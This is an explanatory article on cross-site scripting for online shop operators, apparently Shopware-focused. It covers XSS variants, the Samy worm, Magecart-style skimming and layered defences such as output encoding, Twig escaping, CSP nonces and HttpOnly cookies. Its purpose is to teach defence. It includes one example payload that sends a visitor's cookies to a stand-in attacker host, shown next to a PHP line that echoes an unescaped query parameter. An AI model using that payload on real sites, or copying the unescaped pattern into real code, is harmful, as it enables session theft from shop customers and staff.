In short
Cross-site scripting (XSS) is a vulnerability in web applications in which an attacker injects their own JavaScript code into a page, which is then executed in another user's browser. The code runs with all the rights of the affected page: it reads cookies and session data, forges forms, triggers actions in the name of the logged-in user or redirects them to third-party pages.
XSS is one of the oldest and at the same time most common classes of vulnerability on the web. In the 2021 OWASP Top 10, it is listed under A03:2021 Injection; until 2017 it had a category of its own there.
How cross-site scripting arises
The cause is always the same: an application accepts data that a user controls and builds it into an HTML page without checking it. The browser cannot distinguish whether a <script> tag comes from the developer or from a search field. It executes what is in the document. A classic example is a search results page that repeats the search term:
You searched for: <?php echo $_GET['q']; ?>
If the parameter q contains the value <script>document.location='https://attacker.example/?c='+document.cookie</script>, the page sends the cookies of every user who clicks on this link to the attacker. The link can be spread by email, in a forum or via an ad. For the user, the address looks like the real shop, because it is.
The name is historical and somewhat misleading. "Cross-site" originally referred to code from a third-party site running in the context of the site under attack. Today XSS means any form of injected client-side code, regardless of where it comes from. The abbreviation XSS rather than CSS was chosen to avoid confusion with Cascading Style Sheets.
The three variants
| Type | Where the code ends up | Typical route |
|---|---|---|
| Reflected XSS | In the response to exactly the request that contains the code; nothing is stored | Prepared link, search parameter, error message that echoes the input |
| Stored XSS | In the database, for example in a product review or a profile field; every call of the page delivers the code | Comment, review, user name, delivery address that is displayed in the back end |
| DOM-based XSS | Never in the server HTML, only in the browser through JavaScript that writes inputs into innerHTML or document.write | Fragment after # in the URL, postMessage, data from localStorage |
Stored XSS is the most dangerous variant because it works without any action by the victim. A shop that displays reviews without output encoding delivers the code to every visitor to the product page. Fields displayed in the back end are particularly treacherous: a prepared delivery address does not run in a customer's browser but in the browser of the employee who opens the order in the administration, with that employee's admin session. DOM-based XSS, in turn, is hard to find with server-side scanners because the server delivers a clean page and only your own front-end JavaScript opens the gap.
In a shop, the entry points are more numerous than they seem at first glance. Product reviews and comments are obvious. Less obvious are additional fields that customers fill in themselves, such as company name, engraving text or gift message, which later appear in order confirmations, PDF invoices and admin lists. And data imported from an ERP or PIM is often considered trustworthy in the template, even though it may originally come from a customer form. Each of these places is a separate output context with its own risk.
What an attacker achieves with it
The best-known real-world example is the Samy worm on MySpace in October 2005. Samy Kamkar discovered that MySpace filtered <script> tags in profiles but let JavaScript in CSS attributes through. His profile then contained code that made every visitor to the profile add Samy as a friend, write the sentence "but most of all, samy is my hero" into their own profile and copy the code itself as well. Within less than 20 hours, the worm had reached more than a million profiles; MySpace had to take the platform offline temporarily. To this day, the case is regarded as a textbook example of stored XSS and of the fact that a blacklist of forbidden tags is no defence.
In an online shop, the consequences are less visible but more expensive. A script at checkout can skim credit card data before it goes to the payment service provider; this form of attack became known as Magecart, in which attackers skimmed payment forms in Magento shops and third-party scripts for years. A script on an account page changes the stored delivery address. A script in the administration creates a new admin user. Because the code runs in the browser of a legitimate user, the server only sees normal requests with a valid session. Neither firewall nor login protection takes effect.
Defence: output encoding first
The most effective measure against XSS is context-dependent encoding of all data written into a page. A < from a user input becomes < in the HTML context, < in an attribute and \x3C in a JavaScript string. The browser then displays the text and does not interpret it. Encoding belongs at the output, not the input: a shop must be able to store characters such as < and ", for example in product descriptions or company names, and only decides how they are displayed when rendering. The OWASP Cross Site Scripting Prevention Cheat Sheet describes the rules per context and is the reference that frameworks follow.
Modern template engines do this automatically. Twig, which Shopware 6 uses in the storefront and in email templates, escapes every variable in {{ }} for the HTML context by default. A {{ product.description }} outputs an injected review as visible text; it does not turn into a script. The gap only arises when a developer deliberately switches escaping off: the filter |raw outputs the string unchanged and is the most common source of XSS in Shopware themes and plugins. It is intended for content that has already been sanitised on the server side, such as HTML from the CMS editor, but in practice it is also applied to fields that customers fill in. Every |raw in a template is a checkpoint in code review. Vue in the Shopware administration works on the same principle; there, v-html is the counterpart to |raw.
Further layers of protection
Output encoding is the first line of defence, but no application is watertight in every place. That is why a second layer is worthwhile, which limits the damage if a script does get through:
- A Content Security Policy with nonces prevents injected inline scripts from being executed, even if they are in the document. A CSP with
'unsafe-inline'inscript-srcdoes not achieve this; however, the directivesobject-src 'none'andbase-uri 'self'close two side routes even without a nonce. - The cookie attribute
HttpOnlymakes session cookies unreadable for JavaScript, so classic cookie theft viadocument.cookiecomes to nothing. Shopware sets the attribute for the session. - Input validation on the whitelist principle: a postcode may only contain digits, an email address must match the format. This does not replace encoding but reduces the attack surface.
- For fields that deliberately allow HTML, a server-side sanitiser with an allowlist of permitted tags and attributes, such as HTML Purifier in PHP or DOMPurify in the browser. Shopware uses such a sanitiser in the administration for HTML fields; which tags are let through can be configured via
shopware.html_sanitizer. - Trusted Types, activated via the CSP directive
require-trusted-types-for 'script', require typed objects instead of raw strings for dangerous DOM sinks and thus address DOM-based XSS directly.
One header that still appears in older guides no longer belongs on the list: X-XSS-Protection controlled a browser filter that Chrome removed in 2019 and that Firefox never had. MDN explicitly advises against it because the filter itself opened up gaps in certain cases.
Distinction from related attacks
XSS is often confused with cross-site request forgery (CSRF). With CSRF, an attacker gets the victim's browser to send a request to the target page without any code running there; the protection is CSRF tokens in forms, which Shopware generates by default. XSS, on the other hand, executes code in the context of the page and can simply read a CSRF token from the document. XSS therefore undermines CSRF protection; the reverse case does not exist. SQL injection belongs to the same OWASP injection category but targets the database rather than the user's browser. Clickjacking, in which a page is embedded in an invisible frame, is not XSS and is prevented by frame-ancestors or X-Frame-Options. Finally, HSTS protects the transport connection and has nothing to do with the content of the page.
The article security headers explained describes all the layers of protection mentioned in context; it also states which headers Shopware 6 sets itself and what the web server has to take over. For shops, the order remains: first check every |raw and every v-html in your own code, then set the safe CSP directives, then plan the switch to nonces.
Frequently asked questions
Is a Shopware shop protected against XSS out of the box?
The core largely is: Twig auto-escaping, HttpOnly session cookies, CSRF tokens and an HTML sanitiser in the administration. The gaps arise in themes, plugins and apps, typically through |raw or v-html on fields that customers fill in.
Is it enough to filter inputs when saving?
No. Filtering when saving fails because of contexts the filter does not know and because of data that gets into the database by other routes (import, API, ERP). Encoding must take place at the output, depending on whether the value is written into HTML, an attribute, JavaScript or a URL.
How do I find XSS vulnerabilities in my own shop?
In the code: search for all places where escaping is switched off. In the running system: write test inputs with <, " and ' into every field that is displayed anywhere, including in the back end. Dynamic scanners such as OWASP ZAP reliably find reflected and stored XSS, but DOM-based XSS only to a limited extent.
Why is XSS no longer a separate item in the OWASP Top 10?
Since the 2021 edition, OWASP has grouped XSS together with SQL, command and other injections under A03:2021 Injection, because the cause is the same: untrusted data is written into an interpreter without separation. In the data behind the category, XSS still accounts for a large proportion of the reported cases.